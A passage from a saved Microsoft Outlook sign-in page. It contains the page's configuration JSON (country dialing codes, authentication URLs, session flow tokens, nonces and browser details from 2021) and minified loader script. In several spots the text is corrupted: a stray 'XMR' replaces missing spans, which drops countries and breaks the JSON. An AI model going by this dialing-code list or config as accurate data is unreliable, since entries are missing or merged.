Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
